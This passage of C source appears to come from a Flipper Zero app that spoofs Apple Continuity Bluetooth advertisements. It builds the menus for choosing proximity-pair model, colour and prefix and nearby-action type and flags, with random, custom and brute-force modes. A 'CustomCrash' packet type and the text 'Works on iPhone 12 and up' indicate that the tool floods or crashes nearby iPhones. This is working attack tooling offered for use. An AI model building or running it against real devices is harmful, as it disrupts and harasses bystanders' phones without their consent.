  749. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  750. break;
  751. }
  752. default:
  753. break;
  754. }
  755. variable_item_list_set_enter_callback(list, config_callback, ctx);
  756. }
  757. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  758. [ContinuityTypeAirDrop] = 0,
  759. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  760. [ContinuityTypeAirplayTarget] = 0,
  761. [ContinuityTypeHandoff] = 0,
  762. [ContinuityTypeTetheringSource] = 0,
  763. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  764. [ContinuityTypeNearbyInfo] = 0,
  765. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  766. };
  767. static uint8_t config_count(const Payload* payload) {
  768. const ContinuityCfg* cfg = &payload->cfg.continuity;
  769. return config_counts[cfg->type];
  770. }
  771. const Protocol protocol_continuity = {
  772. .icon = &I_apple,
  773. .get_name = get_name,
  774. .make_packet = make_packet,
  775. .extra_config = extra_config,
  776. .config_count = config_count,
  777. };
  778. static void pp_model_callback(void* _ctx, uint32_t index) {
  779. Ctx* ctx = _ctx;
  780. Payload* payload = &ctx->attack->payload;
  781. ContinuityCfg* cfg = &payload->cfg.continuity;
  782. switch(index) {
  783. case 0:
  784. payload->mode = PayloadModeRandom;
  785. scene_manager_previous_scene(ctx->scene_manager);
  786. break;
  787. case pp_models_count + 1:
  788. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  789. break;
  790. case pp_models_count + 2:
  791. payload->mode = PayloadModeBruteforce;
  792. payload->bruteforce.counter = 0;
  793. payload->bruteforce.value = cfg->data.proximity_pair.model;
  794. payload->bruteforce.size = 2;
  795. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel;
  796. scene_manager_previous_scene(ctx->scene_manager);
  797. break;
  798. default:
  799. if(payload->mode != PayloadModeBruteforce ||
  800. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  801. payload->mode = PayloadModeValue;
  802. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  803. scene_manager_previous_scene(ctx->scene_manager);
  804. break;
  805. }
  806. }
  807. void scene_continuity_pp_model_on_enter(void* _ctx) {
  808. Ctx* ctx = _ctx;
  809. Payload* payload = &ctx->attack->payload;
  810. ContinuityCfg* cfg = &payload->cfg.continuity;
  811. Submenu* submenu = ctx->submenu;
  812. uint32_t selected = 0;
  813. bool value = payload->mode == PayloadModeValue ||
  814. (payload->mode == PayloadModeBruteforce &&
  815. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel);
  816. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  817. if(payload->mode == PayloadModeRandom) {
  818. selected = 0;
  819. }
  820. bool found = false;
  821. for(uint8_t i = 0; i < pp_models_count; i++) {
  822. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  823. if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) {
  824. found = true;
  825. selected = i + 1;
  826. }
  827. }
  828. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  829. if(!found && value) {
  830. selected = pp_models_count + 1;
  831. }
  832. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  833. if(!value && payload->mode == PayloadModeBruteforce) {
  834. selected = pp_models_count + 2;
  835. }
  836. submenu_set_selected_item(submenu, selected);
  837. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  838. }
  839. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  840. UNUSED(_ctx);
  841. UNUSED(event);
  842. return false;
  843. }
  844. void scene_continuity_pp_model_on_exit(void* _ctx) {
  845. Ctx* ctx = _ctx;
  846. submenu_reset(ctx->submenu);
  847. }
  848. static void pp_model_custom_callback(void* _ctx) {
  849. Ctx* ctx = _ctx;
  850. Payload* payload = &ctx->attack->payload;
  851. ContinuityCfg* cfg = &payload->cfg.continuity;
  852. if(payload->mode != PayloadModeBruteforce ||
  853. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  854. payload->mode = PayloadModeValue;
  855. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  856. scene_manager_previous_scene(ctx->scene_manager);
  857. scene_manager_previous_scene(ctx->scene_manager);
  858. }
  859. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  860. Ctx* ctx = _ctx;
  861. Payload* payload = &ctx->attack->payload;
  862. ContinuityCfg* cfg = &payload->cfg.continuity;
  863. ByteInput* byte_input = ctx->byte_input;
  864. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  865. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  866. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  867. byte_input_set_result_callback(
  868. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  869. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  870. }
  871. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  872. UNUSED(_ctx);
  873. UNUSED(event);
  874. return false;
  875. }
  876. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  877. UNUSED(_ctx);
  878. }
  879. static void pp_color_callback(void* _ctx, uint32_t index) {
  880. Ctx* ctx = _ctx;
  881. Payload* payload = &ctx->attack->payload;
  882. ContinuityCfg* cfg = &payload->cfg.continuity;
  883. uint8_t model_index = 0;
  884. uint8_t colors_count = 0;
  885. if(payload->mode == PayloadModeValue ||
  886. (payload->mode == PayloadModeBruteforce &&
  887. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  888. for(; model_index < pp_models_count; model_index++) {
  889. if(cfg->data.proximity_pair.model == pp_models[model_index].value) {
  890. colors_count = pp_models[model_index].colors_count;
  891. break;
  892. }
  893. }
  894. }
  895. if(index == colors_count) {
  896. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom);
  897. } else if(index == colors_count + 1U) {
  898. payload->mode = PayloadModeBruteforce;
  899. payload->bruteforce.counter = 0;
  900. payload->bruteforce.value = cfg->data.proximity_pair.color;
  901. payload->bruteforce.size = 1;
  902. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor;
  903. scene_manager_previous_scene(ctx->scene_manager);
  904. } else {
  905. if(payload->mode != PayloadModeBruteforce ||
  906. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  907. payload->mode = PayloadModeValue;
  908. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  909. scene_manager_previous_scene(ctx->scene_manager);
  910. }
  911. }
  912. void scene_continuity_pp_color_on_enter(void* _ctx) {
  913. Ctx* ctx = _ctx;
  914. Payload* payload = &ctx->attack->payload;
  915. ContinuityCfg* cfg = &payload->cfg.continuity;
  916. Submenu* submenu = ctx->submenu;
  917. uint32_t selected = 0;
  918. bool value = payload->mode == PayloadModeValue ||
  919. (payload->mode == PayloadModeBruteforce &&
  920. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor);
  921. bool found = false;
  922. uint8_t colors_count = 0;
  923. if(payload->mode == PayloadModeValue ||
  924. (payload->mode == PayloadModeBruteforce &&
  925. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  926. for(uint8_t i = 0; i < pp_models_count; i++) {
  927. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  928. colors_count = pp_models[i].colors_count;
  929. for(uint8_t j = 0; j < colors_count; j++) {
  930. submenu_add_item(
  931. submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx);
  932. if(!found && value &&
  933. cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  934. found = true;
  935. selected = j;
  936. }
  937. }
  938. break;
  939. }
  940. }
  941. }
  942. submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx);
  943. if(!found && value) {
  944. selected = colors_count;
  945. }
  946. submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx);
  947. if(!value && payload->mode == PayloadModeBruteforce) {
  948. selected = colors_count + 1;
  949. }
  950. submenu_set_selected_item(submenu, selected);
  951. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  952. }
  953. bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) {
  954. UNUSED(_ctx);
  955. UNUSED(event);
  956. return false;
  957. }
  958. void scene_continuity_pp_color_on_exit(void* _ctx) {
  959. Ctx* ctx = _ctx;
  960. submenu_reset(ctx->submenu);
  961. }
  962. static void pp_color_custom_callback(void* _ctx) {
  963. Ctx* ctx = _ctx;
  964. Payload* payload = &ctx->attack->payload;
  965. ContinuityCfg* cfg = &payload->cfg.continuity;
  966. if(payload->mode != PayloadModeBruteforce ||
  967. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  968. payload->mode = PayloadModeValue;
  969. cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00);
  970. scene_manager_previous_scene(ctx->scene_manager);
  971. scene_manager_previous_scene(ctx->scene_manager);
  972. }
  973. void scene_continuity_pp_color_custom_on_enter(void* _ctx) {
  974. Ctx* ctx = _ctx;
  975. Payload* payload = &ctx->attack->payload;
  976. ContinuityCfg* cfg = &payload->cfg.continuity;
  977. ByteInput* byte_input = ctx->byte_input;
  978. byte_input_set_header_text(byte_input, "Enter custom Device Color");
  979. ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF;
  980. byte_input_set_result_callback(
  981. byte_input, pp_color_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  982. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  983. }
  984. bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) {
  985. UNUSED(_ctx);
  986. UNUSED(event);
  987. return false;
  988. }
  989. void scene_continuity_pp_color_custom_on_exit(void* _ctx) {
  990. UNUSED(_ctx);
  991. }
  992. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  993. Ctx* ctx = _ctx;
  994. Payload* payload = &ctx->attack->payload;
  995. ContinuityCfg* cfg = &payload->cfg.continuity;
  996. switch(index) {
  997. case 0:
  998. cfg->data.proximity_pair.prefix = 0x00;
  999. scene_manager_previous_scene(ctx->scene_manager);
  1000. break;
  1001. case pp_prefixes_count + 1:
  1002. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  1003. break;
  1004. default:
  1005. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  1006. scene_manager_previous_scene(ctx->scene_manager);
  1007. break;
  1008. }
  1009. }
  1010. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  1011. Ctx* ctx = _ctx;
  1012. Payload* payload = &ctx->attack->payload;
  1013. ContinuityCfg* cfg = &payload->cfg.continuity;
  1014. Submenu* submenu = ctx->submenu;
  1015. uint32_t selected = 0;
  1016. bool found = false;
  1017. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  1018. if(cfg->data.proximity_pair.prefix == 0x00) {
  1019. found = true;
  1020. selected = 0;
  1021. }
  1022. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  1023. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  1024. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  1025. found = true;
  1026. selected = i + 1;
  1027. }
  1028. }
  1029. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  1030. if(!found) {
  1031. selected = pp_prefixes_count + 1;
  1032. }
  1033. submenu_set_selected_item(submenu, selected);
  1034. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1035. }
  1036. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  1037. UNUSED(_ctx);
  1038. UNUSED(event);
  1039. return false;
  1040. }
  1041. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  1042. Ctx* ctx = _ctx;
  1043. submenu_reset(ctx->submenu);
  1044. }
  1045. static void pp_prefix_custom_callback(void* _ctx) {
  1046. Ctx* ctx = _ctx;
  1047. Payload* payload = &ctx->attack->payload;
  1048. ContinuityCfg* cfg = &payload->cfg.continuity;
  1049. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  1050. scene_manager_previous_scene(ctx->scene_manager);
  1051. scene_manager_previous_scene(ctx->scene_manager);
  1052. }
  1053. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  1054. Ctx* ctx = _ctx;
  1055. Payload* payload = &ctx->attack->payload;
  1056. ContinuityCfg* cfg = &payload->cfg.continuity;
  1057. ByteInput* byte_input = ctx->byte_input;
  1058. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  1059. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  1060. byte_input_set_result_callback(
  1061. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1062. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1063. }
  1064. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1065. UNUSED(_ctx);
  1066. UNUSED(event);
  1067. return false;
  1068. }
  1069. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  1070. UNUSED(_ctx);
  1071. }
  1072. static void na_action_callback(void* _ctx, uint32_t index) {
  1073. Ctx* ctx = _ctx;
  1074. Payload* payload = &ctx->attack->payload;
  1075. ContinuityCfg* cfg = &payload->cfg.continuity;
  1076. switch(index) {
  1077. case 0:
  1078. payload->mode = PayloadModeRandom;
  1079. scene_manager_previous_scene(ctx->scene_manager);
  1080. break;
  1081. case na_actions_count + 1:
  1082. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  1083. break;
  1084. case na_actions_count + 2:
  1085. payload->mode = PayloadModeBruteforce;
  1086. payload->bruteforce.counter = 0;
  1087. payload->bruteforce.value = cfg->data.nearby_action.action;
  1088. payload->bruteforce.size = 1;
  1089. scene_manager_previous_scene(ctx->scene_manager);
  1090. break;
  1091. default:
  1092. payload->mode = PayloadModeValue;
  1093. cfg->data.nearby_action.action = na_actions[index - 1].value;
  1094. scene_manager_previous_scene(ctx->scene_manager);
  1095. break;
  1096. }
  1097. }
  1098. void scene_continuity_na_action_on_enter(void* _ctx) {
  1099. Ctx* ctx = _ctx;
  1100. Payload* payload = &ctx->attack->payload;
  1101. ContinuityCfg* cfg = &payload->cfg.continuity;
  1102. Submenu* submenu = ctx->submenu;
  1103. uint32_t selected = 0;
  1104. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  1105. if(payload->mode == PayloadModeRandom) {
  1106. selected = 0;
  1107. }
  1108. bool found = false;
  1109. for(uint8_t i = 0; i < na_actions_count; i++) {
  1110. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  1111. if(!found && payload->mode == PayloadModeValue &&
  1112. cfg->data.nearby_action.action == na_actions[i].value) {
  1113. found = true;
  1114. selected = i + 1;
  1115. }
  1116. }
  1117. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  1118. if(!found && payload->mode == PayloadModeValue) {
  1119. selected = na_actions_count + 1;
  1120. }
  1121. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  1122. if(payload->mode == PayloadModeBruteforce) {
  1123. selected = na_actions_count + 2;
  1124. }
  1125. submenu_set_selected_item(submenu, selected);
  1126. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1127. }
  1128. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  1129. UNUSED(_ctx);
  1130. UNUSED(event);
  1131. return false;
  1132. }
  1133. void scene_continuity_na_action_on_exit(void* _ctx) {
  1134. Ctx* ctx = _ctx;
  1135. submenu_reset(ctx->submenu);
  1136. }
  1137. static void na_action_custom_callback(void* _ctx) {
  1138. Ctx* ctx = _ctx;
  1139. Payload* payload = &ctx->attack->payload;
  1140. ContinuityCfg* cfg = &payload->cfg.continuity;
  1141. payload->mode = PayloadModeValue;
  1142. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  1143. scene_manager_previous_scene(ctx->scene_manager);
  1144. scene_manager_previous_scene(ctx->scene_manager);
  1145. }
  1146. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  1147. Ctx* ctx = _ctx;
  1148. Payload* payload = &ctx->attack->payload;
  1149. ContinuityCfg* cfg = &payload->cfg.continuity;
  1150. ByteInput* byte_input = ctx->byte_input;
  1151. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  1152. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  1153. byte_input_set_result_callback(
  1154. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1155. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1156. }
  1157. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1158. UNUSED(_ctx);
  1159. UNUSED(event);
  1160. return false;
  1161. }
  1162. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  1163. UNUSED(_ctx);
  1164. }
  1165. static void na_flags_callback(void* _ctx) {
  1166. Ctx* ctx = _ctx;
  1167. scene_manager_previous_scene(ctx->scene_manager);
  1168. }
  1169. void scene_continuity_na_flags_on_enter(void* _ctx) {
  1170. Ctx* ctx = _ctx;
  1171. Payload* payload = &ctx->attack->payload;
  1172. ContinuityCfg* cfg = &payload->cfg.continuity;
  1173. ByteInput* byte_input = ctx->byte_input;
  1174. byte_input_set_header_text(byte_input, "Press back for automatic");
  1175. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  1176. byte_input_set_result_callback(
  1177. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1178. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1179. }
  1180. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  1181. Ctx* ctx = _ctx;
  1182. if(event.type == SceneManagerEventTypeBack) {
  1183. ctx->byte_store[0] = 0x00;
  1184. }
  1185. return false;
  1186. }
  1187. void scene_continuity_na_flags_on_exit(void* _ctx) {
  1188. Ctx* ctx = _ctx;
  1189. Payload* payload = &ctx->attack->payload;
  1190. ContinuityCfg* cfg = &payload->cfg.continuity;
  1191. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  1192. }